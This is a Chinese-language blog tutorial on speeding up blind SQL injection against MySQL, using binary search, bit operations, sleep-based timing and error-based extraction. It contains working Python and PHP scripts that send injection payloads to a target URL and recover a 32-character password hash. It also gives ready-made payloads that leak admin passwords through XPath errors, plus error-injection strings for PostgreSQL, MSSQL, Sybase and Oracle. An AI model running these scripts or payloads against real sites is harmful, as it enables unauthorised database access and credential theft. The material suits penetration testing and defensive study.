AD

提高SQL盲注的速度和效率

0x01概述

       SQL盲注是SQL注入中的一种,和普通SQL注入最重要不同是,构造出来的查询结果无法在前端页面直接显示。在盲注中,需要构造一个TRUE/FALSE判断SQL语句,然后根据前端返回的不同页面来判断是否命中正确的数据,其中不同页面的判断可以是基于页面内容不同,也可以是基于响应时间不同。

0x02深入了解

盲注分类

大体上,盲注可分为以下三类:
1.       Booleanbase,布尔型
2.       Timebase,时间型
3.       Errorbase,报错型
布尔型是最常见到盲注。例如利用where语句中构造or 1=1来使返回页面不同。
mysql> select 123 from dual where 1=1;
+-----+
| 123 |
+-----+
| 123 |
+-----+
1 row in set (0.00 sec)
mysql> select 123 from dual where 1=0;
Empty set (0.00 sec)

如果注入点在order by后,则可以使用判断语句来构造报错。(其实order by后面的注入也可以根据返回结果的顺序来判断)
mysql> select 1 from te order by if(1,1,(select 1 union select 2)) limit 0,3;
+---+
| 1 |
+---+
| 1 |
| 1 |
| 1 |
+---+
3 rows in set (0.00 sec)
mysql> select 1 from te order by if(0,1,(select 1 union select 2)) limit 0,3;
ERROR 1242 (21000): Subquery returns more than 1 row

基于时间的盲注的中,mysql主要涉及两个函数,sleep banchmark 基本是使用如下。
mysql> select 1 from te where if(1=1,sleep(1),1) limit 0,1;
Empty set (27.00 sec)
mysql> select 1 from te where if(1=2,sleep(1),1) limit 0,1;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)
基于报错的盲注,需要网站显示数据库报错信息

0x03盲注的效率问题

盲注的核心目的是为了获取数据,而获取数据的速度有两个条件,其一是每次获取到有效数据消耗的时间,其次是每次获取到的有效数据的长度。
在一般情况下,要获取数据库信息,每次猜测需要和ACSII表中的字母进行逐个比较。如果数据的长度为N,在最好的情况下也需要猜测N次,但最差的情况需要猜测127N次方。在网络质量不高的情况下,速度将会是十分缓慢的。
32hash为例,暴力猜解的话许要 16*32=512次查询(因为hash一般是16进制,只有16种可能)。如果是一段包含大小写字母和特殊字符的32位字符串那?大概需要 72*32=2304次查询,这就比较多了。


0x03提高盲注的效率

要想提高盲注的效率,需要关注两个要点:
一是减少猜测的次数,即查询的次数;
二是每次查询,尽可能获取到正确的数据;

二分法:

 二分法和词频统计法都会把试探字符串的次数降低到log(n)*length (n为可能字符的数量)
二分法的原理是把可能出现的字符看做一个有序的序列,这样在查找所要查找的元素时,首先与序列中间的元素进行比较,如果大于这个元素,就在当前序列的后半部分继续查找,如果小于这个元素,就在当前序列的前半部分继续查找,直到找到相同的元素,或者所查找的序列范围为空为止。
要获取hash散列的一位,只需要4次查询(2^4=16,也就是说确定一个32hash,只需要126次请求,大大缩短了查询的次数。

二分法伪代码

guess(char a, table, start,end):
if (start - end) is 0:
return table[start]
if ascii(a) > table[len(table)/2]:
return guess(a,table, end/2,end)
else return guess(a,table, start,end/2)

二分法 pyhton源代码

import urllib
import urllib2
def doinject(payload):
    url = 'xxxxxxxxxxxxxxxxxxxxx'
    values = {'injection':payload,'inject':'Inject'}
    data = urllib.urlencode(values)
    #print data
    req = urllib2.Request(url, data)
    req.add_header('cookie','xx=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx')
    response = urllib2.urlopen(req)
    the_page = response.read()
    if (the_page.find("Welcome back")>0):
        return True
    else:
        return False
    
wordlist = "0123456789ABCDEF"
res = ""
for i in range(1,33):
    s=0
    t=15
    while (s<t):
        if (t-s==1):
            if doinject('\' or substring(password,'+str(i)+',1)=\''+wordlist[t]+'\' -- LanLan'):
                m=t
                break
            else:
                m=s
                break
        m=(s+t)/2
        if doinject('\' or substring(password,'+str(i)+',1)>\''+wordlist[m]+'\' -- LanLan'):
            s=m+1
            print wordlist[s]+":"+wordlist[t]
        else:
            t=m
            print wordlist[s]+":"+wordlist[t]
    res = res+wordlist[m]
    print res
这里还有使用正则表达式来进行二分查找的php实现
$sUrl = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx';
$sPost = 'inject=Inject&injection=';
$sCharset = 'ABCDEF0123456789';


/* for every character */
for ($i=0, $hash=''; $i<32; ++$i) {
        $ch = $sCharset;

        do {
                $ch1 = substr($ch, 0, intval(strlen($ch)/2));
                $ch2 = substr($ch, intval(strlen($ch)/2));
                
                $p = $sPost.'absolutelyimpossible\' OR 1=(SELECT 1 FROM blight WHERE password REGEXP \'^'.$hash.'['.$ch1.']\' AND sessid=xxx) AND \'1\'=\'1';
                $res = libHTTP::POST($sUrl, $p);

                if (strpos($res['content'], 'Your password is wrong') === false)
                        $ch = $ch1;
                else 
                        $ch = $ch2;
                
        } while (strlen($ch) > 1);
        
        $hash .= $ch;
        echo "\rhash: ".$hash;
}
ps:上面的代码都是针对32hash的盲注

位运算法

每个字符均有对应的ASCII编码,每个ascii8bit二进制数据组成,二进制只有10,正好对应TRUEFALSE这两种状态。位运算的原理是每次请求确定二进制的一位,对于ascii码连续的区间时间复杂度为log(n)*length,所以相对于二分法查找,它应用起来比较有局限性。
示例:select substr(bin( [payload] ),1,1) = TRUE
bin(ABC)返回ABC的二进制表示。
substr(10010,1,1)提取一个二进制串的第1个字符,字符数目为1substr(10010,2,1) 则为提取第2个字符,长度为1
mysql中位运算的与运算是&,我们主要用它来进行猜测,比如aascii码是1100001,那么我们可以使用1,2,4,8,16..依次与他进行与运算,最终得到结果。ord()返回某个字符的acsii值。
mysql> select ord('a') & 1;
+--------------+
| ord('a') & 1 |
+--------------+
|            1 |
+--------------+
1 row in set (0.00 sec)
mysql> select ord('a') & 2;
+--------------+
| ord('a') & 2 |
+--------------+
|            0 |
+--------------+
1 row in set (0.00 sec)
mysql> select ord('a') & 4;
+--------------+
| ord('a') & 4 |
+--------------+
|            0 |
+--------------+
1 row in set (0.00 sec)

字频统计

这种方法是根据英文中字母出现的频率进行猜测,这种方法仅局限于用户名这样有意义的字符串,并不能应用于hash这样的无规律字符串。而且仅限于纯字母的猜测。请参考《英文字母频率》
根据字频统计,e出现的概率最高,a其次,那我们就先猜测e,再猜测a。更近一步,我们可以使用双字的字频来进一步提高效率,比如th在英文中出现的概率很高。那么在第一个字母是t之后,我们下个字符第一个猜测h

预计算HASH

假如一个WEB应用的page_id存在注入,对应于ACSII表,WEB应用有足够的不同的页面/回应。那可以针对每一个不同的响应页面建立一个hash表。
则可以利用page_id=ascii(substr([payload],1,1)) 进行检测。

bin2pos 查表法

       可以构造SQLDB返回数据的索引。可以使用常见字符制作一个表。
       select substring(bin(field([extraction target],"a","b","c","d",...)),[bit position],1)
FIELD()函数:返回strstr1str2STR3...列表中的索引(从1开始)。如果str没有找到,则返回0
例如猜测用户名列的时候,可以猜测userusersyonghu……等。

位运算和bin2pos的结合

       一个字节有8位,如果每次测试2bit,则一个字节最多需要4次,而2bit可以组成“00”“01”“10”“11”四种,可以使用TRUE\FASLE\SLEEP\ERROR四种状态表示。即,假如返回TRUE,则代表00.
  

页面延时和bin2pos的结合

  

利用页面延时法

在基于时间的盲注中,可以利用页面返回时间的长短来提高注入速度。通过如下的语句,可以通过一次请求确定一个字符的ascii码。如果是一串32位的hash,那么只需要32次请求,即可得到答案。
' or sleep(ord(substr(password,1,1))) --
利用语句一般可以写成这样
mysql> select sleep(find_in_set(mid(@@version, 1, 1), '0,1,2,3,4,5,6,7,8,9,.'));
1 row in set (6.00 sec)
mysql> select sleep(find_in_set(mid(@@version, 2, 1), '0,1,2,3,4,5,6,7,8,9,.'));
1 row in set (11.00 sec)
推荐使用sleep而不要使用benchmark,因为sleep不会占用cpu而且比较稳定。
下面给出一个针对32hash的盲注算法
import urllib
import urllib2
import socket
from time import time
socket.setdefaulttimeout(1000000)
def doinject(payload):
    url = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'
    values = {'injection':payload,'inject':'Inject'}
    data = urllib.urlencode(values)
    #print data
    req = urllib2.Request(url, data)
    req.add_header('cookie','xx=xxxxxxxxxxxxxxxxxxxxxxxxxxxx')
    start = time()
    response = urllib2.urlopen(req)
    end = time()
    #print response.read()
    index = int(end-start)
    print 'index:'+ str(index)
    print 'char:' + wordlist[index-1]
    return index
wordlist = "0123456789ABCDEF"
res = ""
for i in range(1,34):
    num = doinject('\' or sleep( find_in_set(substring(password, '+str(i)+', 1), \'0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F\')) -- LanLan')
    res = res+wordlist[num-1]
    print res
这里还有注意一点,sleepwhere语句中会被计算多次,在实际应用中需要根据表中的记录数,做相应的处理。
比如有一个2个记录的表
select count(*) from test;
    +----------+
    | count(*) |
    +----------+
    |        2 |
    +----------+
如果直接查询,因为两个记录都会引发查询所以会触发两次sleep()延迟12
select * from test where sleep(locate(mid(@@version, 1, 1), '0123456789.'));
Empty set (12.00 sec)
这里在前面使用一个条件语句,因为and前面的表达式如果为false则后面的不执行,所以sleep执行一次,延迟6
select * from test where a=1 and sleep(locate(mid(@@version, 1, 1), '0123456789.'));
Empty set (6.00 sec)

mysql BUS报错法

如果页面上显示数据的报错信息,那么可以直接使用报错的方式把想要的信息爆出来。
比如在mysql中我们可以使用如下的经典语句进行报错。
select 1,2 union select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;
这是网上流传很广的一个版本,可以简化成如下的形式。
select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))
如果关键的表被禁用了,可以使用这种形式
select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))
如果rand被禁用了可以使用用户变量来报错
select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)
其实这是mysql的一个bug所引起的,其他数据库都不会因为这个问题而报错。在mysql5.1版本新加入两个xml函数,也可以用来报错。
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));
ERROR 1105 (HY000): XPATH syntax error: '\admin888'  
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,(select pass from admin limit 1),0x5e24),1));  
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
而在其他数据库中也可以使用不同的方法构成报错
PostgreSQL: /?param=1 and(1)=cast(version() as numeric)-- 
MSSQL: /?param=1 and(1)=convert(int,@@version)-- 
Sybase: /?param=1 and(1)=convert(int,@@version)-- 
Oracle >=9.0: /?param=1 and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select 
replace(banner,chr(32),chr(58)) from sys.v_$version where rownum=1)||chr(62))) from dual)--

0x04附录

ACSII


       ACSII 031 分配给了控制字符,用于控制像打印机等一些外围设备。数字 32126 分配给键盘的所有可见字符。127-256为扩展字符。

评论

此博客中的热门博文

简单粗暴导出小米便签

我——终于一个人了

多种方法绕过POWERSHELL的执行策略